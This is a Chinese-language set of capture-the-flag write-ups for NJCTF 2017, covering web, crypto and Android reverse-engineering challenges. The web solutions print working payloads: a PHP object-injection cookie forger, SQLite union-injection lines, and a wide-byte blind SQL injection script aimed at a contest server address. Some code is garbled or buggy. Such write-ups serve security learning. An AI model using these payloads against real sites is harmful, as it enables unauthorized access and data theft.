打开是一个注册与登陆界面,随便注册一个账号然后抓包,发现必须是admin账号才会给flag
这样利用长度截取
用空格空出,超出注册用户名长度,然后后面跟一个1
避免被函数消掉,这样我们就成功强行修改admin的密码为自己的密码
登陆即得flag
这样只要构造命令,先查看目录,然后cat
就行
发现&
是可以绕过,直接%26
编码然后一直执行ls
命令查找
发现目标
9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag
首先查找备份文件找到源码
$lists = [];
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
........
?>
通过抓包,将cookie解码一下,根据长度可知发现前面是sha1加密,后面是反序列化
这是属于PHP Object Injection
范围,利用反序列化得到并伪造cookie,构造相同的类型
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
$a = new filelist();
$a->source = 'index.php';
$b= new filelist();
$b->source=$a;
$d=serialize($b);
$e=sha1($d).$d;
echo urlencode($e)."
";
?>
也可以用下面这种写法
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
$a = [];
$b= new filelist();
$b->source = 'index.php';
$a[]=$b;
$d=serialize($a);
$e=sha1($d).$d;
echo urlencode($e)."
";
?>
得到index.php
的内容
233333333333333333333333333333333333333333333333333333333333333333
//The flag is /var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g
$lists = [];
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
if(isset($_COOKIE['lists'])){
$cookie = $_COOKIE['lists'];
$hash = substr($cookie, 0, 40);
$sha1 = substr($cookie, 40);
if(sha1($sha1) === $hash){
$lists = unserialize($sha1);
}
}
if(isset($_POST['hiehiehie'])){
$info = $_POST['hiehiehie'];
$lists[] = $info;
$sha1 = serialize($lists);
$hash = sha1($sha1);
setcookie('lists', $hash.$sha1);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<html>
<head>
<title>Please Get Flag!!title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="http://apps.bdimg.com/libs/bootstrap/3.3.0/css/bootstrap.min.css">
<script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js">script>
<script src="http://apps.bdimg.com/libs/bootstrap/3.3.0/js/bootstrap.min.js">script>
head>
<body>
<div class="container">
<div class="jumbotron">
<h1>Please Get Flag!!h1>
div>
<div class="row">
foreach($lists as $info):?>
<div class="col-sm-4">
<h3>=$info?>h3>
div>
endforeach;?>
div>
<form method="post" href=".">
<input name="hiehiehie" value="hiehiehie">
<input type="submit" value="submit">
form>
div>
body>
html>
flag文件已知,同样的构造方法即得flag
NJCTF{PHP_un5erialization_a77ack_i5_very_Interes71ng}
看别人的wp发现一道类似的题
https://losfuzzys.github.io/writeup/2016/10/02/tumctf-web50/
由于提示是由源码的,所以疯狂找源码,因为是压缩包形式,用www.zip
找到源码,密码是弱口令,猜测是njctf2017
得到源码
require_once("db.php");
$auth = 0;
if (isset($_COOKIE["auth"])) {
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh) {
$auth = 0;
} else if (sha1((string)$hsh) == md5((string)$auth)) {
$auth = 1;
} else {
$auth = 0;
}
} else {
$auth = 0;
$s = $auth;
setcookie("auth", $s);
setcookie("hsh", sha1((string)$s));
}
if ($auth) {
if (isset($_GET['query'])) {
$db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
$qstr = SQLITE3::escapeString($_GET['query']);
$query = "SELECT amount FROM my_wallets WHERE id=$qstr";
$result = $db->querySingle($query);
if (!$result === NULL) {
echo "Error - invalid query";
} else {
echo "Wallet contains: $result";
}
} else {
echo "Admin Page Welcome to the admin panel!
";
}
} else echo "Sorry, not authorized.";
是一个关于sha1((string)$hsh) == md5((string)$auth)
的弱类型比较,直接爆破得到0e
开头的即可
得到字符串
注:补充sqlite的注入方法
1 union select group_concat(tbl_name) from sqlite_master-- 暴表
1 union select sql from sqlite_master where tbl_name="XX" and type="table" -- 爆字段
1 union select group_concat(XXX) from XX--暴内容
这是一道注入题,随便输可知道过滤了or
,and
,union
,<>
并且注释#
需转码成%23
根据别人的提示是宽字节注入,测试一下
http://218.2.197.235:23733/index.php?key=1%df%27||1=1%23 http://218.2.197.235:23733/index.php?key=1%df%27||1=2%23
猜出表名字段名
1%df’ || exists(select(flag)from(flag))%23
上脚本
import requests
flag = ''
for i in range(1,33):
for j in range(32,127):
url = "http://218.2.197.235:23733/index.php?key=1%df' || if((select(right(left((select(flag)from(flag)),{}),1)))=binary({}),1,0)%23".format(str(i),str(bin(j)))
s=requests.get(url=url)
content=s.content
length=len(content)
#print length
if length > 1000 :
string+=chr(j)
break
print flag
直接在QQ群中找
打开后发现了两串密文,第二个打开有点类似于莫尔斯密码,但没有间隔所以只能放弃,将第一个文本中的密文
zjqzhexjzmooqrssaidaiynlebnzjovosltahzjerhorrqxoeironlobdozavoouzjovosqfqsltahmqnqrrjotoerzjohorrqxoebooqydrztyqqojolx
尝试维吉尼亚后无果,然后放进quipquip网站直接解密,发现结果
that might be easy you could find the key from this message i used fence to keep the key away from bad ass here is the message in e e alcs tr laaeh e f g
正好与第二个密文间隔一致,然后可以发现后面是乱的,根据提示,将后面的栅栏一下得到结果
加上NJCTF{}提交成功
这题坑了我半天,解密代码很快都写出来了,就是因为key找错了,看了一下给的文件,发现
plain.txt
与cipher.txt
字节数一样,这两个就是用来求key值的,然后用求出的key直接对flag.txt
解密
#include
#include
#include
int main()
{
FILE* fp = fopen("C:/Users/lanlan/Desktop/m2/plain.txt", "rb");
FILE* fc = fopen("C:/Users/lanlan/Desktop/m2/cipher.txt", "rb");
FILE* ff = fopen("C:/Users/lanlan/Desktop/m2/flag.txt", "rb");
FILE* output_file = fopen("C:/Users/lanlan/Desktop/m2/F.txt", "wb");
char a,b,f;
char key[100];
int i = 0,t = 0;
while(((a = fgetc(fp)) != EOF))
{
b = fgetc(fc);
key[i] = ((b - i*i - a + t) ^ t) & 0xff;
t = a;
i++;
}
char p, c = 0;
i = 0;
t = 0;
while ((p = fgetc(ff)) != EOF)
{
c = ( p - i*i - (key[i % strlen(key)] ^ t) + t)&0xff;
t = c;
i++;
fputc(c, output_file);
}
return 0;
}
flag:NJCTF{N0w_You90t_Th1sC4s3}
发现当我输入1500个1时有返回说文件名过长,且返回了有416长度,得知长度在1024个有漏洞
尝试到此
2. AndroidKiller以及JEB反编译:
主活动只有一个,Java代码量不大
但是解压缩后发现有so库
先分析Java代码:
public class MainActivity extends AppCompatActivity {
class CheckText implements TextWatcher {
CheckText(MainActivity this$0) {
MainActivity.this = this$0;
super();
}
public void afterTextChanged(Editable s) {
MainActivity.this.findViewById(2131427416).setText("Status: " + MainActivity.this.parseText(
s.toString()));
}
public void beforeTextChanged(CharSequence s, int start, int count, int after) {
}
public void onTextChanged(CharSequence s, int start, int before, int count) {
}
}
static {
System.loadLibrary("native-lib");
}
public MainActivity() {
super();
}
public String messageMe() {
String v3 = "";
int v4 = 51;
String[] v1 = this.getApplicationContext().getPackageName().split("\\.");
char[] v6 = v1[v1.length - 1].toCharArray();
int v7 = v6.length;
int v5;
for(v5 = 0; v5 < v7; ++v5) {
v4 ^= v6[v5];
v3 += ((char)v4);
}
return v3;
}
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(2130968603);
this.findViewById(2131427416).setText(this.stringFromJNI());
this.findViewById(2131427415).addTextChangedListener(new CheckText(this));
}
public native String parseText(String arg1) {
}
public native String stringFromJNI() {
}
}
这里是一个TextWatch,监听文本框的变化并进行状态显示,可以看到关键函数是:
public void afterTextChanged(Editable s) {
MainActivity.this.findViewById(2131427416).setText("Status: " + MainActivity.this.parseText(s.toString()));
}
对文本框的判断函数:
public native String parseText(String arg1) {
}
是Native,必须分析so文件
字符串:V7D=^,M.E
后面发现会用到
反编译出的函数中,有分析字符串的函数parseText
,另外几个so函数中没有找到,但肯定也有
分析发现主要有以下关键点:
首先获取两个字符串:
得到的即是前面算到的messageMe字符串:V7D=^,M.E
这个是输入的字符串
compare:
这里是将字符的十六进制形式转换为字符串,对比compare,可以知道加密后的最终字符串的十六进制格式:
0xC8,0xE4,0xEF,0x0E,0x4D,0xCC,0xA6,0x83,0x08,0x81,0x34,0xF8,0x63,0x5E,0x97,0x0E,0xEA,0xD9,0xE2,0x77,0xF3,0x14,0x86,0x9F,0x7E,0xF5,0x19,0x8A,0x2A,0xA4
分别是初始化与加密
还要注意前面的I_am_the_key
,为初始化时传入的字符串
这个函数首先生成了一个长度为的字符串数组, 首先循环存储了I_am_the_key
(这里开始不知道v6是怎么变化的,两种可能:一直为定值,由0~11循环,尝试以后发现是第二种情况)
生成后进行了位置交换,没有仔细研究规则。
编写函数得到初始化的结果:
#include
int main()
{
int v3 = 256;
int v4 = 0;
int v5 = 0;
int v6 = 0;//开始不知道v6如何变化
unsigned __int8 v11[14] = "I_am_the_key";
unsigned __int8 v13[256];
char *v7;
unsigned __int8 *v8;
int v9;
char v14[256];
do
{
v13[v5] = v5;
v7 = v14;
v14[v5++] = v11[v6];
v6++;
v6=v6%12;
}
while ( v5 != 256 );
v8 = v13;
do
{
v9 = *v8;
v4 = (v9 + v4 + (unsigned __int8)*v7) % 256;
*v8 = v13[v4];
v13[v4] = v9;
--v3;
++v7;
++v8;
}
while ( v3 );
for(int i=0;i<256;i++)
{
printf("0x%x,",v13[i]);
}
return 0;
}
这个函数不是很复杂,得到的结果是最后的加密字符串,利用compare解密得到中间字符串:
#include
int main()
{
int a3 = 30;
int v3 = 0;
int v4 = 0;
int v5;
int i = 0;
unsigned __int8 a2[32] = {0xC8,0xE4,0xEF,0x0E,0x4D,0xCC,0xA6,0x83,0x08,0x81,0x34,0xF8,0x63,0x5E,0x97,0x0E,0xEA,0xD9,0xE2,0x77,0xF3,0x14,0x86,0x9F,0x7E,0xF5,0x19,0x8A,0x2A,0xA4};
unsigned __int8 result[256] = {0x39,0xa9,0x72,0x2d,0xe8,0x58,0x26,0x32,0x81,0xd,0xac,0x49,0xbb,0x10,0x46,0x65,0xb3,0x92,0xf,0x84,0xb8,0xbf,0xf2,0x52,0xe3,0x5b,0xfc,0xd5,0x59,0x6a,0xf0,0x5d,0x60,0x69,0x16,0x8e,0xfb,0x94,0x48,0xbc,0x71,0x36,0x57,0xad,0x44,0x7c,0x95,0xda,0xb7,0x47,0xdb,0x35,0x3c,0xd2,0x23,0xc5,0xa8,0xb,0x9f,0x31,0xd8,0x1f,0x3f,0xb0,0x2e,0xe1,0x5a,0x4a,0xf9,0x1,0x54,0xa7,0xa5,0xee,0x8,0x99,0x63,0x9b,0x50,0xbd,0x5,0xf7,0xcb,0xab,0x22,0xc2,0x8a,0x38,0x7d,0x6,0xb1,0xc0,0x4e,0x74,0x3a,0xe5,0x67,0x2b,0xa3,0x73,0x89,0x9e,0xba,0x88,0x3d,0x28,0x62,0x8f,0xfd,0x43,0x98,0x4d,0x56,0xb2,0xc,0x29,0x6e,0x78,0x25,0xe0,0xe9,0xf6,0x9c,0x13,0xed,0xf8,0xc4,0x20,0x87,0x2,0x7b,0xf1,0x6d,0xc7,0x8c,0x9d,0x86,0x3b,0x66,0xfa,0xb6,0x42,0x6f,0x14,0xd0,0x19,0xaf,0x11,0x21,0x96,0x85,0x91,0xb5,0xa0,0x1b,0x18,0xa6,0xa2,0x4b,0x40,0xd4,0x8d,0x2a,0x8b,0x5c,0x2c,0xe6,0xfe,0xa4,0x30,0xe7,0xff,0xc8,0x5f,0xe2,0x1c,0xdf,0xae,0x7f,0xc3,0x61,0xef,0x90,0x6c,0x51,0x2f,0xec,0x12,0x7a,0xaa,0xdd,0x77,0xf5,0x4,0xd9,0x83,0x33,0xeb,0x80,0x27,0x3,0xb4,0x9,0x37,0x6b,0x41,0x4f,0x7e,0xf3,0x24,0xf4,0xc9,0x7,0xd1,0x45,0x70,0xa1,0xd7,0x34,0x93,0x15,0xca,0x4c,0xcd,0x97,0xb9,0xea,0x0,0x5e,0x1a,0x9a,0xcf,0x79,0xa,0x3e,0x82,0xd3,0x68,0x75,0x64,0xce,0x55,0xe,0xbe,0x1d,0xe4,0xc1,0xc6,0xde,0xcc,0x1e,0x17,0xd6,0xdc,0x53,0x76};
do
{
v3 = (v3 + 1) % 256;
v5 = *(unsigned __int8 *)(result + v3);
v4 = (v5 + v4) % 256;
*(unsigned __int8 *)(result + v3) = *(unsigned __int8 *)(result + v4);
*(unsigned __int8 *)(result + v4) = v5;
a2[i] ^= *(unsigned __int8 *)(result + ((*(unsigned __int8 *)(result + v3) + v5) & 0xFF));
--a3;
++i;
}
while ( a3 );
for(i=0;i<30;i++)
{
printf("0x%x,",a2[i]);
}
return 0;
}
#include
int main()
{
int v10 = 30;
int v11 = 9;
int v12;
int v27 = 0;
int v13;
unsigned __int8 v25[30];
unsigned __int8 v24[32] = {0x1f,0x43,0x1b,0x4e,0x1,0x4d,0x12,0x4b,0x24,0x25,0x4e,0x7,0x4f,0x3f,0x4f,0x26,0x71,0x23,0x39,0x45,0x1b,0x5f,0x3b,0x4b,0x24,0x40,0x2b,0x33,0x45,0x37};
char s[11]= "V7D=^,M.E";
if ( v10 )
{
do
{
if ( v11 )
{
v12 = 0;
do
{
*(&v25[v27] + v12) = s[v12] ^ *(&v24[v27] + v12);
v13 = v27 + v12++ + 1;
}
while ( v12 < v11 && v13 < v10 );
}
v27 += v11;
}
while ( v27 < v10 );
}
for(int i=0;i<30;i++)
{
printf("%c",v25[i]);
}
return 0;
}
flag:It_s_a_easyCrack_for_beginners
tips:Don't believe what you saw.
The flag's format is NJCTF{xxx} and xxx only include [a-z][A-Z][0-9].
解压apk发现没有so文件
直接放入JEB:
1. 代码并不复杂,开始直接看了MainActivity:
发现是一个8位回文数,并且限制比较具体,得到48533584
,得到结果:
NJCTF{05#f4n}
明显不符合题目要求,虽然在手机上安装测试成功了,但是,提交提示错误。
2. 这才注意到另一个类androidTest
非常像,但细节不同:
这个不限制中间两位必须相等,而且后面有+10,此时得到48539584
或48533584
,按新规则得到结果NJCTF{have05if4n}
(此时用的是48539584
),提交正确。
这才想到题目的提示, 不要相信看到的
flag:NJCTF{have05if4n}
tips:keep the screen green and rotate, you will get the flag.
The flag's format is njctf{xxx} and xxx only include [a-z][A-Z][0-9].
这是一个完全由C语言编写的APP,或者叫Native Android
据说要去除控制流平坦化导致的混淆,据说爆破flg函数可以得到答案:
是不是可以用符号化执行工具angr
,还不会这个题。
flag:PvrNa7iv3Al1